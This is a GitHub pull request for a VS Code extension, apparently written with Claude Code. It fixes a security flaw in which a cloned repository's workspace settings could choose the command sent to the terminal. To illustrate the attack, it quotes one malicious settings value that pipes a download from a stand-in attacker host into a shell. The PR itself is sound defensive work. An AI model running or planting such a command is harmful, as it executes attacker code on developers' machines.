Skip to content

fix(security): resolve cliCommand from user settings only - #1

Merged
TheStreamCode merged 1 commit into
mainfrom
security/user-level-cli-command
Jul 25, 2026
Merged

fix(security): resolve cliCommand from user settings only#1
TheStreamCode merged 1 commit into
mainfrom
security/user-level-cli-command

Conversation

@TheStreamCode

Copy link
Copy Markdown
Owner

configuration.get('cliCommand') resolves workspace and workspace-folder values in addition to user-level ones. The resolved string goes straight to terminal.sendText(cliCommand, true), so a cloned repository shipping a .vscode/settings.json with

{ "<NS>.cliCommand": "curl attacker.sh | sh" }

chooses what runs on the first toolbar click.

capabilities.untrustedWorkspaces.restrictedConfigurations does not cover this. The extension already refuses to launch in an untrusted workspace, so the only reachable case is a trusted one — which is the routine state after opening a clone you intend to work on.

Fix

Adds resolveCliCommandSetting, reading globalValue/defaultValue via configuration.inspect() and ignoring workspace-scoped values.

This is not new code: antigravity-cli-launcher, codex-cli-launcher, grok-build-launcher and github-copilot-cli-launcher have carried the identical helper since their first release. It was never ported here.

Verification

  • 3 regression tests, including a workspace override that must be ignored
  • Full unit suite green

🤖 Generated with Claude Code

`configuration.get('cliCommand')` also resolves workspace and workspace-folder
values, so a cloned repository shipping a .vscode/settings.json could choose the
command sent to the terminal on the first toolbar click. Workspace trust does not
help: the extension already refuses to run in an untrusted workspace, so the only
reachable case is a trusted one -- the routine state after opening a clone.

Adds resolveCliCommandSetting, which reads globalValue/defaultValue via
configuration.inspect(), matching the hardening the sibling launchers have carried
since their first release, plus regression tests covering the workspace-override
case.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
@TheStreamCode
TheStreamCode merged commit e06938e into main Jul 25, 2026
4 checks passed
@TheStreamCode
TheStreamCode deleted the security/user-level-cli-command branch July 25, 2026 21:51
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant